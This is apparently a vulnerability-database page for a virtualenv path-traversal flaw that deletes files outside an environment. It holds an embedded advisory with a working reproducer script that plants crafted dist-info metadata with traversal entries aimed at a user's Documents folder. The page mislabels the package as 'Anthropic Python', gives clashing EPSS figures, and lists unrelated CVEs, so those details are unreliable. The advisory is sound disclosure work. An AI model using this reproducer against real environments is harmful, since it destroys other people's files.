virtualenv versions before 21.14.9 can delete arbitrary files outside the environment when reseeding an existing virtualenv whose pip dist-info metadata was crafted by another account. The risk is bounded: it needs local access, a reused environment containing hostile metadata, and deletion rights for the invoking user, which is why the CVSS score is only 4.5 (medium) and no public exploit, KEV listing or Nuclei template exists. The EPSS percentile is high (top 98%) even though the raw score is low (0.00117), and virtualenv has about 6,390 downstream dependents, so many CI runners, shared build hosts and ML developer workstations that reuse .venv directories are in scope. Upgrade to virtualenv 21.14.9, and until then create environments from a clean empty directory (or with --clear) instead of reseeding trees from untrusted sources.
What is the risk?
Medium. The attack needs local access, high complexity, and a victim who runs virtualenv against a pre-populated environment. The vulnerability gives no code execution or confidentiality loss. Its impact is limited to integrity and availability: deleting files the invoking user can delete (CVSS C:L/I:L/A:L). EPSS is 0.00117 (top 98% percentile), there is no known public exploit, and the CVE is not in CISA KEV. A detailed reproducer exists in the advisory, so weaponization is trivial for anyone who can plant a .venv. Exposure is highest on shared or multi-tenant build systems and on developer machines that check out untrusted repositories containing committed .venv directories. virtualenv is general Python tooling and not AI-specific, but it underpins most ML development and CI environments.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | < 21.14.9 | 21.14.9 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade virtualenv to 21.14.9 or later, which refuses to delete paths outside the resolved environment root (and the root itself) and logs a warning. 2) Until patched, avoid reseeding existing environments of unknown origin: create environments in a new empty directory or pass --clear so the old tree is removed first. 3) Do not commit or accept .venv directories from untrusted repositories, and add .venv to .gitignore and to archive/upload exclusions. 4) On shared CI runners and build hosts, use ephemeral workspaces and ensure environment directories are not writable by other accounts. 5) Run virtualenv as a low-privilege user with minimal write access to important data. 6) Detection: scan for pip-*.dist-info/top_level.txt and RECORD files containing '..' or absolute paths in .venv trees, and monitor for unexpected file deletions after virtualenv runs.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-113719?
virtualenv versions before 21.14.9 can delete arbitrary files outside the environment when reseeding an existing virtualenv whose pip dist-info metadata was crafted by another account. The risk is bounded: it needs local access, a reused environment containing hostile metadata, and deletion rights for the invoking user, which is why the CVSS score is only 4.5 (medium) and no public exploit, KEV listing or Nuclei template exists. The EPSS percentile is high (top 98%) even though the raw score is low (0.00117), and virtualenv has about 6,390 downstream dependents, so many CI runners, shared build hosts and ML developer workstations that reuse .venv directories are in scope. Upgrade to virtualenv 21.14.9, and until then create environments from a clean empty directory (or with --clear) instead of reseeding trees from untrusted sources.
Is CVE-2026-113719 actively exploited?
No confirmed active exploitation of CVE-2026-113719 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-113719?
1) Upgrade virtualenv to 21.14.9 or later, which refuses to delete paths outside the resolved environment root (and the root itself) and logs a warning. 2) Until patched, avoid reseeding existing environments of unknown origin: create environments in a new empty directory or pass --clear so the old tree is removed first. 3) Do not commit or accept .venv directories from untrusted repositories, and add .venv to .gitignore and to archive/upload exclusions. 4) On shared CI runners and build hosts, use ephemeral workspaces and ensure environment directories are not writable by other accounts. 5) Run virtualenv as a low-privilege user with minimal write access to important data. 6) Detection: scan for pip-*.dist-info/top_level.txt and RECORD files containing '..' or absolute paths in .venv trees, and monitor for unexpected file deletions after virtualenv runs.
What systems are affected by CVE-2026-113719?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, CI/CD build environments, ML development workstations, shared notebook and GPU hosts.
What is the CVSS score for CVE-2026-113719?
CVE-2026-113719 has a CVSS v3.1 base score of 4.5 (MEDIUM). The EPSS exploitation probability is 0.20%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0101Data Destruction via AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Removal of a previously installed seed package. ## Attacker-controlled input An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path. ## Affected code The relevant 21.14.8 source is in [seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info` directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to `site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; `--clear` removes that tree first. ## Reproduction and evidence The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt` contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held `Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths. A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear. The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. [PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root and refuses to delete the root itself. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: top_level.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignore_errors=True) USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt") def make_home(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n") (home / "notes.txt").write_text("my notes\n") return home def unpack_attacker_project(home, top_level_line, record_line): subprocess.run( [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line], check=True, ) def user_runs_virtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="") def files_left(home): return [f for f in USER_FILES if (home / f).exists()] # control: the project ships well-formed pip metadata control_home = make_home("control") unpack_attacker_project(control_home, "pip", "pip/__init__.py,,") user_runs_virtualenv(control_home) control_left = files_left(control_home) print(f"CONTROL user files still in ~ after virtualenv: {control_left}") # attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attack_home = make_home("attack") unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}") user_runs_virtualenv(attack_home) attack_left = files_left(attack_home) print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}") # check: creating an environment must never delete the user's files outside it print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK") ``` **`repro.d/make_project_tree.py`** ```text #!/usr/bin/env python3 import sys from pathlib import Path project = Path(sys.argv[1]) top_level_line = sys.argv[2] record_line = sys.argv[3] project.mkdir(parents=True) (project / "README").write_text("Set up with: virtualenv .venv\n") # a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" dist_info.mkdir(parents=True) (dist_info / "top_level.txt").write_text(top_level_line + "\n") (dist_info / "RECORD").write_text(record_line + "\n") ``` ## Impact Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks. Fix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428). ## Known mitigation Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Exploitation Scenario
An attacker who can write to a shared project directory, build cache or workspace on a multi-user ML training host plants a .venv containing a fake pip-1.0.dist-info. Its top_level.txt points to ../../../../../Documents and its RECORD points to ../../../../../notes.txt. When a data scientist later runs 'virtualenv .venv' in that project to refresh their environment, the seeder reads the metadata, joins the traversal paths to site-packages and silently deletes the victim's Documents folder and notes while exiting successfully. The attacker has caused data loss without any code execution on the victim's session.
Weaknesses (CWE)
CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')PrimaryCWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:LReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic